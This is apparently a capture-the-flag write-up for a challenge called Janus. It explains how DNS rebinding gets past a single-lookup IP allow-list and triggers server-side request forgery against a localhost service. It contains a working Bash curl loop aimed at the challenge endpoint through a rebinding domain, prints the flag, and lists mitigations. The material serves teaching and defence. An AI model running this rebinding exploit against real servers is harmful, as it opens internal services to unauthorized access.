Challenge TL;DR
- Target site:
https://janus.secso.cc/
- Frontend calls:
/api?url=<nasa-url>
(server fetches and returns JSON) - Server-side “fix”: it resolves the hostname and aborts unless the IP is one of “NASA” addresses.
- Bug: only one resolution is validated. The actual fetch can hit a different IP if the hostname changes.
- Exploit: use a DNS-rebinding domain that resolves to a NASA IP first, then flips to
127.0.0.1
before the server issues the outbound request.
What is DNS rebinding (one line)?
Make a hostname’s DNS answers change across lookups so the victim server/browser first allows it (“benign IP”), then connects to an internal or loopback IP on the next lookup.
Background: Waitress behind reverse proxies honors forwarded headers; its docs discuss trusted proxies and clearing untrusted headers. This challenge didn’t require those, but it helps to know the stack. :contentReference[oaicite:0]{index=0}
Recon & Model
The app exposes a server endpoint:
GET /api?url=<target>
Server logic (simplified):
- Parse
url
, extracthost
. - Resolve once:
gethostbyname(host)
. - If resolved IP ∉ NASA_IPS → 403 “URL does not resolve to NASA”.
- Else:
requests.get(url)
and stream the response back.
Fetcher : resolves again via HTTP stack ──► 127.0.0.1 (after rebind)
The validator and the fetcher aren’t tied to the same DNS answer: the hostname can change between steps. That’s our entire attack surface.
Exploit Plan
1) Get a rebinding hostname
Use any service that can serve A records in a sequence, e.g. first “public (NASA-like) IP”, then 127.0.0.1
. (In the event, a RequestRepo subdomain was used that alternated from a public IP to loopback.)
2) Point the server at our hostname on the internal port
We don’t need tricks like user@host
or special headers. The vulnerable path is simply:
https://janus.secso.cc/api?url=http://<rebinding-domain>:5001/
- First lookup (validator): rebind host answers with the “NASA-looking” IP → check passes.
- Second lookup (fetch): the host flips to
127.0.0.1
→ the server fetches its own localhost service on:5001
.
3) Loop gently until the flip lands in the fetch window
The event permitted low-rate brute force (≤ 1 req/s, and you shouldn’t need < 100 tries). A tiny Bash loop is enough:
#!/usr/bin/env bash
# Janus – DNS rebinding loop (polite 1 RPS)
set -euo pipefail
REB="na.cpgr4vhx.requestrepo.com" # rebind domain: first → public IP, then → 127.0.0.1
JANUS="https://janus.secso.cc/api"
i=0
while :; do
i=$((i+1))
ts=$(date -Iseconds)
# Hit the vulnerable endpoint; no special headers needed.
resp=$(curl -sS --max-time 3 --get "$JANUS" --data-urlencode "url=http://${REB}:5001/")
# Look for the flag format (adjust as needed for the event)
if echo "$resp" | grep -aoE 'K17\{[^}]+' >/dev/null; then
echo "[$ts] #$i GOT FLAG:"
echo "$resp"
break
else
echo "[$ts] #$i still flipping…"
fi
sleep 1
done
When the fetch phase lands on 127.0.0.1
, the server’s internal service answers and the flag is returned.
Spoiler: flag
K17{DNS___more_l1ke_d0main_name_shuffl3}
Why this works
- Single DNS check. The app “pins” trust to a hostname, not an address.
- TOCTOU window. Time-of-check (resolve) ≠ time-of-use (connect). A rebind domain supplies different answers to each phase.
- No header games required. Even though the stack (Caddy → Waitress) supports reverse-proxy headers, the exploit path never depends on them. The IP gate is bypassed before any header is considered. For background on the proxy bits, see Waitress’ “Using Behind a Reverse Proxy”. :contentReference[oaicite:1]{index=1}
Mitigations (what “100% secure” should’ve meant)
- Resolve once, connect by IP. After resolving the hostname, initiate the outbound TCP connection to that exact IP (don’t pass the hostname back to the HTTP client).
- Permit-list by origin + TLS. For HTTPS, verify certificate CN/SAN matches the allow-listed NASA host and validate the CA chain; reject plain HTTP.
- Disallow private/loopback/metadata ranges. Drop connections to
127.0.0.0/8
,::1
, RFC1918, link-local, and cloud metadata IPs. - Cache & pin. Cache DNS answers (short TTLs still help), and pin the chosen IP for the lifetime of the request.
- Consider URL signing. Have the frontend send a signed token containing the resolved IP and hostname; verify both match server-side before fetching.
General proxy-hardening notes (trusted proxy lists, clearing untrusted headers) are documented in Waitress’ reverse-proxy guide. :contentReference[oaicite:2]{index=2}
Post-exploitation notes
- The solution does not connect to NASA. It only borrows a NASA-looking IP for the first DNS answer to satisfy the app’s allow-list, then rebinds to loopback.
- No reliance on CONNECT proxies, custom
Host
headers,X-Forwarded-*
, oruser@host
URL forms—those were explored and discarded. - Minimal tooling:
curl
+ a rebinding domain + a 1 RPS loop.
Credits & References
- Waitress (WSGI) docs: Using Behind a Reverse Proxy. This describes trusted proxies, forwarded headers, and clearing untrusted ones—useful context for the stack, though not strictly needed for the exploit. :contentReference[oaicite:3]{index=3}
- Further reading on DNS rebinding: security write-ups and glossaries abound; the core idea is “different answers across lookups to pivot a trust decision.”
This write-up is for the CTF challenge environment only. Don’t aim these techniques at systems without explicit permission.